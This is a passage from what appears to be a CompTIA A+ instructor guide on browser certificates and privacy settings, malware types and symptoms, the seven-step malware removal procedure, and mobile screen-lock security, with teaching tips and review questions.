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Secure Connections and Valid Certificates

Show The web uses Transport Layer Security (TLS) and digital certificates to implement
Slide(s) a secure connection. A secure connection validates the identity of the host running
Secure Connections a site and encrypts communications to protect against snooping. The identity of a
and Valid Certificates web server computer for a given domain is validated by a certificate authority (CA),
which issues the subject a digital certificate. The digital certificate contains a public
Teaching key associated with the subject embedded in it. The certificate has also been signed
Tip by the CA, guaranteeing its validity. Therefore, if a client trusts the signing CA by
Make sure that installing its root certificate in a trusted store, the client can also trust the server
students can identify presenting the certificate.
the secure connection
indicators and know When you browse a site using an HTTPS URL, the browser displays the information
how to inspect a about the certificate in the address bar.
certificate.

Browsing CompTIA’s home page in Mozilla’s Firefox browser. When the browser trusts the
certificate issued to www.comptia.org, it displays a lock icon and identifies the URL as HTTPS. Select
the lock icon to inspect the certificate as further verification. The site’s certificate was issued by the
public CA DigiCert, Inc. (Screenshot courtesy of CompTIA and Mozilla.)

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If the certificate is valid and trusted, a padlock icon is shown. Select the icon to view
information about the certificate and the CA guaranteeing it.
CA root certificates must be trusted implicitly, so it would obviously be highly
advantageous if a malicious user could install a bogus root certificate and become
a trusted root CA. Installing a trusted root certificate requires administrative
privileges. On a Windows PC, most root certificate updates are performed as part
of Windows Update or installed by domain controllers or administrators as part of
running Active Directory. There have been instances of stolen certificates and root
certificates from CAs being exploited because of weaknesses in the key used in the
certificate.
While Edge uses the Windows certificate store, third-party browsers maintain
a separate store of trusted and personal certificates. When using enterprise
certificates for internal sites and a third-party browser, you must ensure that the
internal CA root certificate is added to the browser.

Mozilla Firefox’s trusted certificate store showing the DigiCert root certificates that are trusted
authorities. (Screenshot courtesy of Mozilla.)

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Browser Privacy Settings

Show The marketing value of online advertising has created an entire industry focused
Slide(s) on creating profiles of individual search and browsing habits. The main function
Browser Privacy of privacy controls is to govern sites’ use of these tracking tools, such as cookies.
Settings A cookie is a text file used to store session data. For example, if you log on to a site,
the site might use a cookie to remember who you are. A modern website is likely
Teaching to use components from many different domains. These components might try to
Tip set third-party cookies that could create tracking information that is available to a
Explain the difference different host than the site owner.
between same-origin
and third-party
cookies. Mention
other methods of
tracking, such as
browser fingerprinting
and tracking IP and
MAC addresses.
Note that browser
vendors are starting
to compete to provide
the most effective
privacy and tracking
protection controls.
For example, Opera
uses a built-in VPN.
Distinguish the
controls you can set
in the browser to
manage site content
(cookie policy, tracking
protection, pop-up
blocker, ad blocker)
from controls for
managing the data Viewing cookies set by visiting comptia.org’s home page in Google’s Chrome browser.
saved by the browser (Screenshot courtesy of CompTIA and Google, a trademark of Google, LLC.)
(clearing cache and
private/incognito
mode). The browser’s privacy settings can be set to enable or disable all cookies or just
third-party cookies and to configure exceptions to these rules for chosen sites.
Most browsers also have a tracking protection feature that can be set to strict or
standard/balanced modes.
As well as cookies, sites can use the header information submitted in requests plus
scripted queries to perform browser fingerprinting and identify source IP and MAC
addresses. Several other analytics techniques are available to track individuals
as they visit different websites and use search engines. Tracking protection can
mitigate some of these techniques but not all of them.
To supplement the cookie policy and tracking protection, the following features can
be used to block unwanted content:
• Pop-up blockers prevent a website from creating dialogs or additional windows.
The pop-up technique was often used to show fake A-V and security warnings or
other malicious and nuisance advertising.

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• Ad blockers use more sophisticated techniques to prevent the display of

anything that doesn’t seem to be part of the site’s main content or functionality.
No sites really use pop-up windows anymore as it is possible to achieve a similar
effect using the standard web-page formatting tools. Ad blockers are better able
to filter these page elements selectively. They often use databases of domains
and IP addresses known to primarily serve ad content. An ad blocker must
normally be installed as an extension. Exceptions can be configured on a site-
by-site basis. Many sites detect ad blockers and do not display any content while
the filtering is enabled.

Aside from the issue of being tracked by websites, there are privacy concerns about
the data a browser might store on the device as you use it. This browsing history
can be managed by two methods:
• Clearing cache and browsing data options are used to delete browsing
history. By default, the browser will maintain a history of pages visited, cache
files to speed up browsing, and save text typed into form fields. On a public
computer, it is best practice to clear the browsing history at the end of a session.
You can configure the browser to do this automatically or do it manually.

• Private/incognito browsing mode disables the caching features of the browser

so that no cookies, browsing history, form fields, passwords, or temp files will be
stored when the session is closed. This mode will also typically block third-party
cookies and enable strict tracking protection, if available. Note that this mode
does not guarantee that you are anonymous with respect to the sites you are
browsing as the site will still be able to harvest data such as an IP address and
use browser fingerprinting techniques.

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Review Activity:
Browser Security
6

Show Answer the following questions:

Slide(s)
Review

Teaching 1. A company must deploy custom browser software to employees’

Tip workstations. What method can be used to validate the download and
Take some time at installation of this custom software?
the end of each topic
to answer questions. The package can be signed using a developer certificate issued by a trusted
You can use the certificate authority. Alternatively, a cryptographic hash of the installer can be
review questions
for discussion in
made, and this value can be given to each support technician. When installing the
class or set them for software, the technician can make his or her own hash of the downloaded installer
students to complete and compare it to the reference hash.
individually during or
after class. 2. A security consultant has recommended blocking end-user access to the
chrome://flags browser page. Does this prevent a user from changing any
browser settings?

No. The chrome://flags page is for advanced configuration settings. General user,
security, and privacy settings are configured via chrome://settings.

3. What primary indicator must be verified in the browser before using a

web form?

That the browser address bar displays the lock icon to indicate that the site uses
a trusted certificate. This validates the site identity and protects information
submitted via the form from interception.

4. True or false? Using a browser’s incognito mode will prevent sites from
recording the user’s IP address.

False. Incognito mode can prevent the use of cookies but cannot conceal the user’s
source IP address. You do not need to include this in your answer, but the main way
to conceal the source IP address is to connect to sites via a virtual private network
(VPN).

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Topic 17C
Troubleshoot Workstation
Security Issues
5

CORE 2 EXAM OBJECTIVES COVERED Show

2.3 Given a scenario, detect, remove, and prevent malware using the appropriate tools Slide(s)
and methods.
Troubleshoot
3.2 Given a scenario, troubleshoot common personal computer (PC) security issues. Workstation
3.3 Given a scenario, use best practice procedures for malware removal. Security Issues

Despite all your efforts to configure workstation security according to best Teaching
practices—securing user accounts, installing antivirus software, updating with Tip
patches, and encrypting data—there will be times when those procedures fail This lesson moves
to work, and you will be faced with security issues such as malware infection. on from configuring
As a CompTIA A+ PC technician, it is essential that you be able to identify types security settings to
looking at how to
of malware, the symptoms of security issues, and the steps to take to remove troubleshoot common
malicious code and prevent it from reinfecting computers and networks. security issues, such
as malware infection.
Malware Vectors Show
Slide(s)
Malware is usually simply defined as software that does something bad, from
Malware Vectors
the perspective of the system owner. The more detailed classification of different
malware types helps to identify the likely source and impact of a security incident. Teaching
Some malware classifications focus on the vector used by the malware. The vector Tip
is the method by which the malware executes on a computer and potentially
When classifying
spreads to other network hosts. malware, it’s helpful to
The following categories describe some types of malware according to vector: distinguish between
the method used to
• Viruses—These are concealed within the code of an executable process image infect the computer
stored as a file on disk. In Windows, executable code has extensions such (vector) and the
as .EXE, .MSI, .DLL, .COM, .SCR, and .JAR. When the program file is executed, payload/threat-actor
motivation arising
the virus code is also able to execute with the same privileges as the infected from successful
process. The first viruses were explicitly created to infect other files as rapidly as infection. Here,
possible. Modern viruses are more likely to use covert methods to take control discuss the main types
of the host. of malware vector.
Worms and fileless
• Boot sector viruses—These infect the boot sector code or partition table on a malware aren’t
disk drive. When the disk is attached to a computer, the virus attempts to hijack content examples,
the bootloader process to load itself into memory. but students should
be made aware of
• Trojans—This is malware concealed within an installer package for software that these types. Explain
appears to be legitimate. The malware will be installed alongside the program that fileless malware
and execute with the same privileges. It might be able to add itself to startup exploits software
vulnerabilities and
locations so that it always runs when the computer starts or the user signs in.
the native scripting
This is referred to as persistence. environment to
execute without
necessarily requiring
the user to authorize a
setup program to run
or a disk to be made
accessible.

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• Worms—These replicate between processes in system memory rather than

infecting an executable file stored on disk. Worms can also exploit vulnerable
client/server software to spread between hosts in a network.

• Fileless malware—This refers to malicious code that uses the host’s scripting
environment, such as Windows PowerShell or PDF JavaScript, to create new
malicious processes in memory. As it may be disguised as script instructions or a
document file rather than an executable image file, this type of malware can be
harder to detect.

Malware Payloads
Show Classifying malware by payload is a way of identifying what type of actions the code
Slide(s) performs other than simply replicating or persisting on a host.
Malware Payloads
Backdoors
Teaching
Modern malware is usually designed to implement some type of backdoor, also
Tip
referred to as a remote access Trojan (RAT). Once the malware is installed, it
Explain that payload is
allows the threat actor to access the PC, upload/exfiltrate data files, and install
the action taken by the
malware (or the threat additional malware tools. This could allow the attacker to use the computer
actor via the malware) to widen access to the rest of the network or to add it to a botnet and launch
once it has infected distributed denial of service (DDoS) attacks or mass-mail spam.
the computer.
Whether a backdoor is used as a standalone intrusion mechanism or to manage
bots, the threat actor must establish a connection from the compromised host to
a command and control (C2 or C&C) host or network. There are many means of
implementing a covert C&C channel to evade detection and filtering. Historically,
the Internet relay chat (IRC) protocol was popular. Modern methods are more likely
to use command sequences embedded in HTTPS or DNS traffic.

Spyware and Keyloggers

Spyware is malware that can perform browser reconfigurations, such as allowing
tracking cookies, changing default search providers, opening arbitrary pages at
startup, adding bookmarks, and so on. Spyware might also be able to monitor local
application activity, take screenshots, and activate recording devices, such as a
microphone or webcam. Another spyware technique is to perform DNS redirection
to spoofed sites.
A keylogger is spyware that actively attempts to steal confidential information by
recording keystrokes. The attacker will usually hope to discover passwords or credit
card data.

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Keyloggers are not only implemented as software. A malicious script can transmit
key presses to a third-party website. There are also hardware devices to capture key
presses to a modified USB adapter inserted between the keyboard and the port.

Actual Keylogger—Windows software that can run in the background to monitor different kinds of
computer activity (opening and closing programs, browsing websites, recording keystrokes, and
capturing screenshots). (Screenshot courtesy of actualkeylogger.com)

Rootkits
In Windows, malware can only be manually installed with local administrator
privileges. This means the user must be confident enough in the installer package to
enter the credentials or accept the User Account Control (UAC) prompt. Additionally,
Windows tries to protect the OS files from abuse of administrator privileges. Critical
processes run with a higher level of privilege (SYSTEM). Consequently, Trojans
installed in the same way as regular software cannot conceal their presence entirely
and will show up as a running process or service. Often the process image name is
configured to be similar to a genuine executable or library to avoid detection. For
example, a Trojan may use the filename “run32d11” to masquerade as “run32dll”.
To ensure persistence, the Trojan may have to use a registry entry or create itself as
a service. All these techniques are relatively easy to detect and remediate.
If the malware can be delivered as the payload for an exploit of a severe
vulnerability, it may be able to execute without requiring any authorization using
SYSTEM privileges. Alternatively, the malware may be able to use an exploit to
escalate privileges after installation. Malware running with this level of privilege
is referred to as a rootkit. The term derives from UNIX/Linux where any process
running as root has unrestricted access to everything from the root of the file
system down.

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In theory, there is nothing about the system that a rootkit could not change. In
practice, Windows uses other mechanisms to prevent misuse of kernel processes,
such as code signing (microsoft.com/security/blog/2017/10/23/hardening-
the-system-and-maintaining-integrity-with-windows-defender-system-guard).
Consequently, what a rootkit can do depends largely on adversary capability and
level of effort. When dealing with a rootkit, you should be aware that there is the
possibility that it can compromise system files and programming interfaces so that
local shell processes, such as Explorer or Task Manager on Windows, ps or top
on Linux, and port-listening tools (netstat, for example), no longer reveal their
presence (when run from the infected machine, that is). A rootkit may also contain
tools for cleaning system logs, further concealing its presence.

Ransomware and Cryptominers

Show Ransomware is a type of malware that tries to extort money from the victim.
Slide(s) One class of ransomware will display threatening messages, such as requiring
Ransomware and Windows to be reactivated or suggesting that the computer has been locked by the
Cryptominers police because it was used to view child pornography or for terrorism. This may
apparently block access to the file system by installing a different shell program, but
this sort of attack is usually relatively simple to fix.

WannaCry ransomware. (Screenshot courtesy of Wikimedia.)

Crypto-ransomware attempts to encrypt files on any fixed, removable, and network

drives. If the attack is successful, the user will be unable to access the files without
obtaining the private encryption key, which is held by the attacker. If successful, this
sort of attack is extremely difficult to mitigate unless the user has up-to-date backups.
One example of crypto-ransomware is Cryptolocker, a Trojan that searches for files
to encrypt and then prompts the victim to pay a sum of money before a certain
countdown time, after which the malware destroys the key that allows the decryption.

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Ransomware uses payment methods such as wire transfer, cryptocurrency, or

premium-rate phone lines to allow the attacker to extort money without revealing
his or her identity or being traced by local law enforcement.
A cryptominer hijacks the resources of the host to perform cryptocurrency
mining. This is also referred to as cryptojacking. The total number of coins
within a cryptocurrency is limited by the difficulty of performing the blockchain
calculations necessary to generate a new digital coin. Consequently, new coins can
be very valuable, but it takes enormous computing resources to discover them.
Cryptomining is often performed across botnets.

Troubleshoot Desktop Symptoms

The multiple classifications for malware vectors and payloads mean that there can Show
be very many different symptoms of security issues. In very general terms, any Slide(s)
sort of activity or configuration change that was not initiated by the user is a good
Troubleshoot Desktop
reason to suspect malware infection. Symptoms

Performance Symptoms Teaching

Tip
When the computer is slow or “behaving oddly,” one of the things you should
Get students thinking
suspect is malware infection. Some specific symptoms associated with malware
about threat-actor
include: motivations and levels
• The computer fails to boot or experiences lockups. of sophistication. Do
symptoms suggest
• Performance at startup or in general is very slow. an attempt to install
malware or that the
computer is already
• The host cannot access the network and/or Internet access or network
infected? Explain that
performance is slow. the most dangerous
types of advanced
The problem here is that performance issues could have a wide variety of other persistent threat (APT)
causes. If you identify these symptoms, run an antivirus scan. If this is negative but malware operate
you cannot diagnose another cause, consider quarantining the system or at least without obvious
putting it under close monitoring. desktop or browser
symptoms.
Application Crashes and Service Problems
One of the key indicators of malware infection is that security-related applications,
such as antivirus, firewall, and Windows Update, stop working. You might notice
that OS updates and virus definition updates fail. You might also notice that
applications or Windows tools (Task Manager, for instance) stop working or crash
frequently.
Software other than Windows is often equally attractive for malware writers
as not all companies are diligent in terms of secure coding. Software that uses
browser plug-ins is often targeted; examples include Adobe’s Reader software
for PDFs and Flash Player. If software from a reputable vendor starts crashing
(faulting) repeatedly, suspect malware infection and apply quarantining/monitoring
procedures.

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File System Errors and Anomalies

Another marker for malware infection is changes to system files and/or file
permissions. Symptoms of security issues in the file system include the following:
• Missing or renamed files.

• Additional executable files with names similar to those of authentic system files
and utilities, such as scvhost.exe or ta5kmgr.exe.

• Altered system files or personal files with date stamps and file sizes that are
different from known-good versions.

• Files with changed permissions attributes, resulting in “Access Denied” errors.

These sorts of issues are less likely to have other causes so you should quarantine
the system and investigate it closely.

Desktop Alerts and Notifications

While there are some critical exploits that allow malicious code to execute without
authorization, to infect a fully patched host malware usually requires the user to
explicitly install the product and confirm the UAC consent prompt. However, the
malware may be able to generate something that looks like a Windows notification
without being fully installed. One technique is to misuse the push notification
system that allows a website to send messages to a device or app. The notification
will be designed to trick or frighten the user into installing the malware by
displaying a fake virus alert, for example. A notification may also link to a site that
has a high chance of performing a drive-by download on an unpatched host.
Rogue antivirus is a particularly popular way to disguise a Trojan. In the early
versions of this attack, a website would display a pop-up disguised as a normal
Windows dialog box with a fake security alert, warning the user that viruses have
been detected. As browsers and security software have moved to block this vector,
cold-calling vulnerable users, then claiming to represent Microsoft support or the
user’s ISP and asking them to enable a remote desktop tool has become a popular
attack.

Troubleshoot Browser Symptoms

Show Malware often targets the web browser. Common symptoms of infection by
Slide(s) spyware or adware are random or frequent pop-ups, installation of additional
Troubleshoot Browser toolbars, a sudden change of home page or search provider, searches returning
Symptoms results that are different from other computers, slow performance, and excessive
crashing. Viruses and Trojans may spawn pop-ups without the user opening the
browser.

Redirection
Redirection is where the user tries to open one page but gets sent to another.
Often this may imitate the target page. In adware, this is just a blunt means of
driving traffic through a site, but spyware may exploit it to capture authentication
details.
Redirection may occur when entering URL web addresses manually or when
performing searches. If a user experiences redirection, check the HOSTS file
for malicious entries. HOSTS is a legacy means of mapping domain names to IP
addresses and is a popular target for malware. Also verify which DNS servers
the client is configured to use. Compare the search results returned by a suspect
machine with those from a known-good workstation.

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Certificate Warnings
When you browse a site using a certificate, the browser displays the information
about the certificate in the address bar. If the certificate is untrusted or otherwise
invalid, the padlock icon is replaced by an alert icon, the URL is displayed with
strikethrough formatting, and the site content is likely to be blocked by a warning
message.

Untrusted certificate warning in Mozilla Firefox. (Screenshot courtesy of Mozilla.)

There are many causes of certificate warnings. Some of the most common are:
• The certificate is self-signed or issued by a CA that is not trusted.

• The FQDN requested by the browser is different from the subject name listed in
the certificate.

• The certificate has expired or is listed as revoked.

Each of these warnings could either indicate that the site is misconfigured or that
some malware on the computer is attempting to redirect the browser to a spoofed
page. Analyze the certificate information and the URL to determine the likely cause.
Improper use of certificates is also an indicator for a type of on-path attack by a
malicious proxy:
1. A user requests a connection to a secure site and expects the site’s certificate.

2. Malware on the host or some type of evil-twin access point intercepts this
request and presents its own spoofed certificate to the user/browser.
Depending on the sophistication of the attack, this spoof certificate may or
may not produce a browser warning. If the malware is able to compromise the
trusted root certificate store, there will be no warning.

3. If the browser accepts this certificate or the user overrides a warning,

the malware implements a proxy and forwards the request to the site,
establishing a session.

4. The user may think he or she has a secure connection to the site, but in fact
the malware is in the middle of the session and is able to intercept and modify
all the traffic that would normally be encrypted.

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Best Practices for Malware Removal

Show CompTIA has identified a seven-step best practice procedure for malware removal:
Slide(s)
1. Investigate and verify malware symptoms.
Best Practices for
Malware Removal 2. Quarantine infected systems.

Teaching 3. Disable System Restore in Windows.

Tip
4. Remediate infected systems:
Describe the overall
process of dealing
a) Update anti-malware software.
with a malware-
related security issue.
b) Scanning and removal techniques (e.g., safe mode, preinstallation
environment).

5. Schedule scans and run updates.

6. Enable System Restore and create a restore point in Windows.

7. Educate the end user.

Most malware is discovered via on-accessing scanning by an antivirus product. If

the malware is sophisticated enough to evade automated detection, the symptoms
listed above may lead you to suspect infection.

Threats discovered by Windows Defender Antivirus. These are classified as potentially unwanted
applications (PUAs) rather than malware. (Screenshot courtesy of Microsoft.)

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Antivirus vendors maintain malware encyclopedias (“bestiaries”) with complete Teaching

information about the type, symptoms, purpose, and removal of viruses, worms, Tip
Trojans, and rootkits. These sources can be used to verify the symptoms that you Explain that antivirus
discover on a local system against known malware indicators and behaviors. and security research
sites can be used
to verify symptoms
of infection or the
presence of persistent
threats.

Show
Slide(s)
Infected Systems
Quarantine
Microsoft’s Security Intelligence knowledge base can be used to obtain additional information
about threats discovered by Windows Defender Antivirus. You can use this information to Teaching
determine indicators for manual verification, the impact of infection, and likelihood of other Tip
systems being compromised. (Screenshot courtesy of Microsoft.)
Note that while
students should
respect the sequence
Infected Systems Quarantine established in the
model, in practical
Following the seven-step procedure, if symptoms of a malware infection are terms quarantine
detected and verified, the next steps should be to apply a quarantine and disable is likely to precede
detailed investigation/
System Restore. verification as that
type of research
Quarantine Infected Systems can be performed
more safely once the
If a system is “under suspicion,” do not allow users with administrative privileges to suspect host has been
sign in—either locally or remotely—until it is quarantined. This reduces the risk that sandboxed.
malware could compromise a privileged account. Optionally, expand
Putting a host in quarantine means that it is not able to communicate on the main on the injunction
against signing in with
network. Malware such as worms propagate over networks. A threat actor might privileged accounts
use backdoor malware to attempt to access other systems. This means that one of by explaining that
the first actions should be to disconnect the network link. advanced malware
can abuse system
In practical terms, you might quarantine a host before fully verifying malware infection. privileges to try to
A strong suspicion of infection by advanced malware might be sufficient risk to warrant grab password hashes
quarantining the host as a precaution. and authorization
tokens from memory
(pass-the-hash and
golden-ticket attack
types).

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Move the infected system to a physically or logically secure segment or sandbox.

To remediate the system, you might need network access to tools and resources,
but you cannot risk infecting the production network.
Also consider identifying and scanning any removable media that has been
attached to the computer. If the virus was introduced via USB stick, you need to find
it and remove it from use. Viruses could also have infected files on any removable
media attached to the system while it was infected.

Disable System Restore

Once the infected system is isolated, the next step is to disable System Restore
and other automated backup systems, such as File History. If you are relying on
a backup to recover files infected by malware, you must consider the possibility
that the backups are infected too. The safest option is to delete old system restore
points and backup copies, but if you need to retain them, try to use antivirus
software to determine whether they are infected.

Malware Removal Tools and Methods

Show The main tool to use to try to remediate an infected system will be antivirus
Slide(s) software, though if the software has not detected the virus in the first place, you
Malware Removal are likely to have to use a different suite. Make sure the antivirus software is fully
Tools and Methods updated before proceeding. This may be difficult if the system is infected, however.
It may be necessary to remove the disk and scan it from a different system.

Microsoft’s Windows Defender Antivirus uses a system of continual threat/definition updates. When
remediating a system, check that these updates are being applied and have not been disabled by
the malware. (Screenshot courtesy of Microsoft.)

While there were differences in the past, the terms antivirus and anti-malware
are synonymous. Almost every antivirus product protects against a broad range
of virus, worm, fileless malware, Trojan, rootkit, ransomware, spyware, and
cryptominer threats.

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If a file is infected with a virus, you can (hopefully) use antivirus software to try
to remove the infection (cleaning), quarantine the file (the antivirus software
blocks any attempt to open it), or erase the file. You might also choose to ignore a
reported threat if it is a false positive, for instance. You can configure the default
action that software should attempt when it discovers malware as part of a scan.

Recovery Mode
Infection by advanced malware might require manual removal steps to disable
persistence mechanisms and reconfiguration of the system to its secure baseline.
For assistance, check the website and support services for your antivirus software,
but in general terms, manual removal and reconfiguration will require the following
tools:
• Use Task Manager to terminate suspicious processes.

• Execute commands at a command prompt terminal, and/or manually remove

registry items using regedit.

• Use msconfig to perform a safe boot or boot into Safe Mode, hopefully
preventing any infected code from running at startup.

• Boot the computer using the product disc or recovery media, and use the
Windows Preinstallation Environment (WinPE) to run commands from a clean
command environment.

• Remove the disk from the infected system, and scan it from another system,
taking care not to allow cross-infection.

OS Reinstallation
Antivirus software will not necessarily be able to recover data from infected files.
Also, if malware gains a persistent foothold on the computer, you might not be
able to run antivirus software anyway and would have to perform a complete
system restore. This involves reformatting the disk, reinstalling the OS and software
(possibly from a system image snapshot backup), and restoring data files from a
(clean) backup.

Malware Infection Prevention

Once a system has been cleaned, you need to take the appropriate steps to prevent Show
reinfection. Slide(s)
Malware Infection
Configure On-access Scanning Prevention
Almost all security software is now configured to scan on-access. On-access means
that the A-V software intercepts an OS call to open a file and scans the file before
allowing or preventing it from being opened. This reduces performance somewhat
but is essential to maintaining effective protection against malware.

Configure Scheduled Scans

All security software supports scheduled scans. These scans can impact performance,
however, so it is best to run them when the computer is otherwise unused.
You also need to configure the security software to perform malware-pattern and
antivirus-engine updates regularly.

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Re-enable System Restore and Services

If you disabled System Restore and automatic backups, you should re-enable them
as part of the recommissioning process:
• Create a fresh restore point or system image and a clean data backup.

• Validate any other security-critical services and settings that might have been
compromised by the malware.

• Verify DNS configuration—DNS spoofing allows attackers to direct victims away

from the legitimate sites they were intending to visit and toward fake sites.
As part of preventing reinfection, you should inspect and re-secure the DNS
configuration.

• Re-enable software firewalls—If malware was able to run with administrative

privileges, it may have made changes to the software (host) firewall configuration
to facilitate connection with a C&C network. An unauthorized port could
potentially facilitate reinfection of the machine. You should inspect the firewall
policy to see if there are any unauthorized changes. Consider resetting the policy
to the default.

As a final step, complete another antivirus scan; if the system is clean, then remove
the quarantine and return it to service.

Educate the End User

Another essential malware prevention follow-up action is effective user training.
Untrained users represent a serious vulnerability because they are susceptible to
social engineering and phishing attacks. Appropriate security-awareness training
needs to be delivered to employees at all levels, including end users, technical staff,
and executives. Some of the general topics that need to be covered include the
following:
• Password and account-management best practices plus security features of PCs
and mobile devices.

• Education about common social engineering and malware threats, including

phishing, website exploits, and spam plus alerting methods for new threats.

• Secure use of software such as browsers and email clients plus appropriate use
of Internet access, including social networking sites.

• Specific anti-phishing training to identify indicators of spoofed communications,

such as unexpected communications, inconsistent sender and reply to
addresses, disguised links and attachments, copied text and images, and social
engineering techniques, such exaggerated urgency or risk claims.

Continuing education programs ensure that the participants do not treat a single
training course or certificate as a sort of final accomplishment. Skills and knowledge
must be continually updated to cope with changing threat types.

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Review Activity:
Workstation Security Issues
6

Answer the following questions: Show

Slide(s)
Review

1. Why might a PC infected with malware display no obvious symptoms? Teaching

Tip
If the malware is used with the intent to steal information or record behavior, it
Take some time at
will not try to make its presence obvious. A rootkit may be very hard to detect even the end of each topic
when a rigorous investigation is made. to answer questions.
You can use the
2. Why might you need to use a virus encyclopedia? review questions
for discussion in
You might need to verify symptoms of infection. Also, if a virus cannot be removed class or set them for
automatically, you might want to find a manual removal method. You might also students to complete
want to identify the consequences of infection—whether the virus might have individually during or
stolen passwords, and so on. after class.

3. Early in the day, a user called the help desk saying that his computer is
running slowly and freezing up. Shortly after this user called, other help
desk technicians who overheard your call also received calls from users
who report similar symptoms. Is this likely to be a malware infection?

It is certainly possible. Software updates are often applied when a computer is started
in the morning, so that is another potential cause, but you should investigate and log
a warning so that all support staff are alerted. It is very difficult to categorize malware
when the only symptom is performance issues. However, performance issues could
be a result of a badly written Trojan, or a Trojan/backdoor application might be using
resources maliciously (for DDoS, Bitcoin mining, spam, and so on).

4. You receive a support call from a user who is “stuck” on a web page. She
is trying to use the Back button to return to her search results, but the
page just displays again with a pop-up message. Is her computer infected
with malware?

If it only occurs on certain sites, it is probably part of the site design. A script
running on the site can prevent use of the Back button. It could also be a sign
of adware or spyware though, so it would be safest to scan the computer using
up-to-date anti-malware software.

5. Another user calls to say he is trying to sign-on to his online banking

service, but the browser reports that the certificate is invalid. Should the
bank update its certificate, or do you suspect another cause?

It would be highly unlikely for a commercial bank to allow its website certificates
to run out of date or otherwise be misconfigured. You should strongly suspect
redirection by malware or a phishing/pharming scam.

6. Why is DNS configuration a step in the malware remediation process?

Compromising domain-name resolution is a very effective means of redirecting

users to malicious websites. Following malware infection, it is important to ensure
that DNS is being performed by valid servers.
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Lesson 17
Summary
7

Show You should be able to configure workstation and Windows OS settings to meet best
Slide(s) practices for security; install and configure secure browsers; and detect, remove,
Summary and prevent malware using the appropriate tools and best practice procedures.

Teaching Guidelines for Managing Security Settings

Tip
Follow these guidelines to support secure use of workstations and browsers:
Try to include some
time at the end • Create checklists for deploying workstations in hardened configurations and
of each lesson to monitoring continued compliance:
check students’
understanding and • Password best practices (length and character complexity requirements,
answer questions. expiration requirements, and BIOS/UEFI passwords).

• Account management policies (restrict user permissions, restrict login times,

disable guest account, use failed attempts lockout, use timeout/screen lock,
and disable AutoRun/AutoPlay).

• Antivirus and firewall settings and updates, using built-in Windows Defender
or third-party products.

• File and/or disk encryption, using built-in EFS/BitLocker or third-party

products.

• Secure browser and extension/plug-in installation via trusted sources and

configuration of security settings (pop-up blocker, clearing browsing data,
clearing cache, private-browsing mode, sign-in/browser data synchronization,
and ad blockers).

• Develop training and awareness programs to support end-user best practices

(use screensaver locks, log off when not in use, secure/protect critical hardware,
and secure PII/passwords), threat awareness, and secure connection/certificates
identification.

• Develop a knowledge base to classify malware types (Trojans, rootkits, viruses,

spyware, ransomware, keyloggers, boot sector viruses, and cryptominers).

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• Develop a knowledge base to document tools (recovery mode, antivirus/anti-

malware, software firewalls, and OS reinstallation) and steps to resolve common
security symptoms (unable to access the network, desktop alerts, false alerts
regarding antivirus protection, altered system or personal files, missing/renamed
files, unwanted notifications within the OS, OS update failures, random/frequent
pop-ups, certificate warnings, and redirection).

• Apply the CompTIA best practice model for malware removal: 1. Investigate and
verify malware symptoms, 2. Quarantine infected systems, 3. Disable System
Restore in Windows, 4. Remediate infected systems (a. Update anti-malware
software and b. Scanning and removal techniques [safe mode/preinstallation
environment]), 5. Schedule scans and run updates, 6. Enable System Restore
and create a restore point Windows, and 7. Educate the end user.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 18
Supporting Mobile Software
1

LESSON INTRODUCTION
Mobile devices have largely replaced computers as contact-manager and Show
web-browsing tools, and there is little choice but for an enterprise network to Slide(s)
support their use. The huge variety of device types and mobile OS types and Objectives
versions makes managing their use a complex task, however.
Teaching
As a certified CompTIA A+ technician, you will be expected to support and
Tip
troubleshoot mobile computing devices in both personal and enterprise contexts.
With the proper information and the right skills, you will be ready to support these This topic completes
the security-focused
devices as efficiently as you support their desktop counterparts. block by covering
mobile OS/app
Lesson Objectives security configuration.
We also cover the
troubleshooting
In this lesson, you will:
objectives.
• Configure mobile OS security.

• Troubleshoot mobile OS and app software.

• Troubleshoot mobile OS and app security.

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Topic 18A
Show
Slide(s)
Configure Mobile OS Security
Configure Mobile
2

OS Security
CORE 2 EXAM OBJECTIVES COVERED
Teaching 2.7 Explain common methods for securing mobile and embedded devices.
Tip
This topic covers the
default features of iOS
It is critical that the organization’s mobile-device security practices be specified via
and Android that can
be used to secure use policies, procedures, and training. It is easy for mobile devices to be forgotten or
of mobile devices plus overlooked because they don’t reside, or “live,” in the workplace in the same way
MDM features that can that desktop computers do. Procedural and technical controls to manage these
enforce policies when mobile devices mitigate the risk that they may introduce vulnerabilities in the
a mobile is used on an company's network security.
enterprise network.

Screen Locks
Show If threat actors can access smartphones or tablets, they can obtain a huge amount
Slide(s) of information with which to launch further attacks. Apart from confidential data
Screen Locks files that might be stored on the device, it is highly likely that the user has cached
passwords for services such as email or remote access VPN and websites. In
Teaching addition to this, access to contacts and message history (SMS, text messaging,
Tip email, and IM) greatly assists social engineering attacks. Consequently, it is
Explain the imperative that mobiles be protected against loss, theft, and lunchtime attacks
importance of locking by a screen lock.
the device to mitigate
lunchtime attacks and A screen lock activates if the device is unused or if the user presses the power
risks from loss or theft button. The user must perform a gesture to unlock the device. A swipe gesture
and the pros and cons means that access to the device is unauthenticated. Simply swiping across the
of different methods. screen will unlock the device. While this might be suitable for a tablet deployed
for shared or public use, access to a personal device must be protected by an
authentication mechanism:
• Personal identification number (PIN) or password—Most devices require
a PIN or password to be configured to enable screen lock authentication
and generate an encryption key. The PIN can act as a primary or backup
authentication method. If the device is configured to limit the number of
attempts, a 4- or 6-digit PIN should offer adequate security for general users
as long as the chosen PIN is not a simple sequence (1234 or 4321) or an easily
guessable date. If there is a high risk of compromise, a strong password should
be configured.

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Configuring screen lock options in iOS (left) and Android (right). (Screenshots reprinted with
permission from Apple Inc. and Android platform, a trademark of Google LLC.)

• Fingerprint—Many devices use a fingerprint sensor as a bio-gesture unlocking

method. The user performs an enrollment fingerprint scan to create a template
that is stored within a secure cache on the device. To authenticate, the user
touches the reader, and the device compares the confirmation scan to the
template.

• Facial recognition—This method creates a template computed from a 3-D

image of the user's face. A facial bio gesture has the advantage of being able to
use the camera rather than a special sensor.

If a bio gesture is configured, the PIN or password acts as a backup mechanism or is

required for high-privilege tasks, such as performing a factory reset or changing screen
lock settings.

• Pattern—This requires the user to swipe a “join-the-dots” pattern. The

pattern method has numerous weaknesses. It is easy to observe and can be
reconstructed from smudges. Research has also demonstrated that users tend
to select predictable patterns, such as C, M, N, O, and S shapes.

A screen lock can be configured to restrict failed login attempts. This means that
if an incorrect passcode or bio gesture is used, the device locks for a set period.
